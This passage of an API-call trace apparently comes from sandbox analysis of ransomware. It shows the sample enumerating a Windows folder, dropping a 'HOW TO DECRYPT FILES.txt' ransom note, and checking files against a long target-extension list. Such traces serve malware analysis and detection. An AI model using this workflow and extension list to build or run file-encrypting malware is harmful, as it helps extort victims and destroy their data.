ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x27472170, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x27472170, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.987] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0102.987] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27472170, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x27472170, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x27472170, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.987] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0102.987] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0102.987] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744c010, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x2744c010, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x2744c010, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0102.987] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.988] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll") returned -1 [0102.988] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll") returned -1 [0102.988] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll") returned -1 [0102.988] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\*.*") returned="*.*" [0102.988] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\" [0102.988] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\") returned="" [0102.988] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\HOW TO DECRYPT FILES.txt" [0102.988] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\43ac81bed18b52d77a8011ada80939b5\\how to decrypt files.txt")) returned 0xffffffff [0102.989] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\43ac81bed18b52d77a8011ada80939b5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0102.993] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0102.995] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0102.995] CloseHandle (hObject=0x90) returned 1 [0102.995] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\", lpString2="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll" [0102.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0102.996] lstrlenA (lpString="*.ems") returned 5 [0102.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.db") returned 0 [0102.996] lstrlenA (lpString="*.db") returned 4 [0102.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0102.996] lstrlenA (lpString="*.dbf") returned 5 [0102.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0102.996] lstrlenA (lpString="*.myox") returned 6 [0102.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0102.996] lstrlenA (lpString="*.myo") returned 5 [0102.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0102.996] lstrlenA (lpString="*.qbw") returned 5 [0102.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0102.996] lstrlenA (lpString="*.qbb") returned 5 [0102.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0102.996] lstrlenA (lpString="*.qbm") returned 5 [0102.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0102.996] lstrlenA (lpString="*.qbo") returned 5 [0102.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0102.997] lstrlenA (lpString="*.qbx") returned 5 [0102.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0102.997] lstrlenA (lpString="*.qba") returned 5 [0102.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0102.997] lstrlenA (lpString="*.qby") returned 5 [0102.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0102.997] lstrlenA (lpString="*.qbj") returned 5 [0102.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0102.997] lstrlenA (lpString="*.ofx") returned 5 [0102.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0102.997] lstrlenA (lpString="*.qif") returned 5 [0102.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0102.997] lstrlenA (lpString="*.mye") returned 5 [0102.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0102.997] lstrlenA (lpString="*.mbox") returned 6 [0102.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0102.997] lstrlenA (lpString="*.eml") returned 5 [0102.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0102.997] lstrlenA (lpString="*.pst") returned 5 [0102.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0102.998] lstrlenA (lpString="*.ost") returned 5 [0102.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0102.998] lstrlenA (lpString="*.idx") returned 5 [0102.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0102.998] lstrlenA (lpString="*.dbx") returned 5 [0102.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0102.998] lstrlenA (lpString="*.sql") returned 5 [0102.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0102.998] lstrlenA (lpString="*.mdb") returned 5 [0102.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0102.998] lstrlenA (lpString="*.fdb") returned 5 [0102.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0102.998] lstrlenA (lpString="*.wab") returned 5 [0102.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0102.998] lstrlenA (lpString="*.dat") returned 5 [0102.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0102.998] lstrlenA (lpString="*.txt") returned 5 [0102.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0102.999] lstrlenA (lpString="*.jpeg") returned 6 [0102.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0102.999] lstrlenA (lpString="*.jpg") returned 5 [0102.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.png") returned 0 [0102.999] lstrlenA (lpString="*.png") returned 5 [0102.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.php") returned 0 [0102.999] lstrlenA (lpString="*.php") returned 5 [0102.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0102.999] lstrlenA (lpString="*.cs") returned 4 [0102.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0102.999] lstrlenA (lpString="*.cpp") returned 5 [0102.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0102.999] lstrlenA (lpString="*.rar") returned 5 [0102.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0102.999] lstrlenA (lpString="*.zip") returned 5 [0102.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.html") returned 0 [0102.999] lstrlenA (lpString="*.html") returned 6 [0102.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0102.999] lstrlenA (lpString="*.htm") returned 5 [0103.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.000] lstrlenA (lpString="*.xlsx") returned 6 [0103.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0103.000] lstrlenA (lpString="*.xls") returned 5 [0103.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.000] lstrlenA (lpString="*.mp4") returned 5 [0103.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.000] lstrlenA (lpString="*.ppt") returned 5 [0103.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.000] lstrlenA (lpString="*.pptx") returned 6 [0103.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0103.000] lstrlenA (lpString="*.doc") returned 5 [0103.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0103.000] lstrlenA (lpString="*.dot") returned 5 [0103.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0103.000] lstrlenA (lpString="*.docx") returned 6 [0103.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0103.000] lstrlenA (lpString="*.7z") returned 4 [0103.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0103.000] lstrlenA (lpString="*.tar") returned 5 [0103.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.000] lstrlenA (lpString="*.bz2") returned 5 [0103.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0103.001] lstrlenA (lpString="*.gz") returned 4 [0103.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.001] lstrlenA (lpString="*.mkv") returned 5 [0103.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.001] lstrlenA (lpString="*.eml") returned 5 [0103.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0103.001] lstrlenA (lpString="*.msg") returned 5 [0103.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0103.001] lstrlenA (lpString="*.edb") returned 5 [0103.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.001] lstrlenA (lpString="*.accdb") returned 7 [0103.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0103.001] lstrlenA (lpString="*.odb") returned 5 [0103.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.java") returned 0 [0103.001] lstrlenA (lpString="*.java") returned 6 [0103.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0103.001] lstrlenA (lpString="*.asm") returned 5 [0103.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.001] lstrlenA (lpString="*.pfx") returned 5 [0103.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0103.001] lstrlenA (lpString="*.pem") returned 5 [0103.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0103.001] lstrlenA (lpString="*.p12") returned 5 [0103.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.002] lstrlenA (lpString="*.gpg") returned 5 [0103.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.002] lstrlenA (lpString="*.vsd") returned 5 [0103.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0103.002] lstrlenA (lpString="*.odg") returned 5 [0103.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0103.002] lstrlenA (lpString="*.raw") returned 5 [0103.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0103.002] lstrlenA (lpString="*.nef") returned 5 [0103.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0103.002] lstrlenA (lpString="*.svg") returned 5 [0103.002] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\43ac81bed18b52d77a8011ada80939b5\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0103.002] lstrlenA (lpString="*.psd") returned 5 [0103.002] PathMatchSpecA 